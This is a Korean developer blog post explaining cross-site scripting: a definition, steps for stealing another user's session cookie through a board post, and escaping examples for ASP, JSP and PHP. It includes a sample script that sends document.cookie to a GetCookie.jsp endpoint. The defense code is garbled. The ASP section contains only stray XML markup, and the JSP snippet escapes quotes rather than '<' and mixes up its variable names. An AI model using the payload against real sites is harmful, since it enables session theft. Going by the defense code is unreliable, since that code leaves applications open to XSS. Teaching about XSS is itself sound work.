개발노트

크로스사이트 스크립트 본문

Programming/JavaScript

크로스사이트 스크립트

dev? 2020. 4. 27. 18:50
반응형

크로스 사이트 스크립트란 ? 

크로스 사이트 스크립팅(cross-site scripting, XSS)는 웹 서비스 상의 취약점 중 하나이며 사용자로 부터 입력받는 값을 검증 하지 않고 그대로 사용할 경우 나타난다. 주로 사용자의 정보(쿠키, 세션)를 탈취하기 위하여 사용되며, 사용되는 인자로는 ', " , > , < , % , $ 등의 문자열을 통하여 스크립트 구문을 이용하여 공격한다. (위키백과참조)

 

 

크로스사이트 스크립팅 공격방법

실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정

          1. 게시판에 특정 스크립트를 작성한 뒤 사용자가 보도록 합니다.

          2. 쿠키 값을 가로챕니다.

          3. 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재전송합니다.

          4.  공격자는 사용자의 정보로 로그인을 합니다.

 

예) <script> url="http://127.0.0.1/GetCookie.jsp?cookie=+document.cookie;whidow.open(

       url,width=0, height=0);</script>

       위 코드는 게시판을 열람시에 사용자의 쿠키 정보가 웹서버로 넘어가는 소스.

 

 

Xss 방어방법

 

(1) ASP Script

 

사용자의 입력에 대해 Server.HTMLEncode함수를 사용하여 HTML태그를 비활성화 시킵니다.

 

<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

 

<?xml:namespace prefix = o /><?xml:namespace prefix = o /><?xml:namespace prefix = o />

 

 

(2) JSP Script

 

HTML코드의 시작을 알리는 ‘<’ 에 대해서 &lt; 으로 변환시키는 방법입니다.

 

 /% less than (<) character 를 &lt; 으로 변환시킵니다. %/

 

String userInput = request.getParameter(“keyword”);

 

user_input = user_input.replaceAll(“’”, “\’”);

 

 

(3) PHP Script

 

PHP의 내장함수 가운데 입력 문자열에 대해서 HTML코드를 변환시켜주는 htmlentities()를 사용하여 XSS를 막습니다.

 

<?

 

$str = "A 'quote' is <b>bold</b>";

 

echo htmlentities($str);

 

// 출력: A 'quote' is &lt;b&gt;bold&lt;/b&gt;

 

?>

 

 

 

 

출처: 

http://jobdahan.net/scriptstudy/1404787

https://www.estsecurity.com/securityCenter/commonSense/view/27

반응형

'Programming > JavaScript' 카테고리의 다른 글

배열 함수  (0) 2020.04.28
문자열 함수  (0) 2020.04.27
타이머 함수  (0) 2020.04.27
(Math.random()*10)+1  (0) 2020.04.27
printThis 옵션  (0) 2020.04.27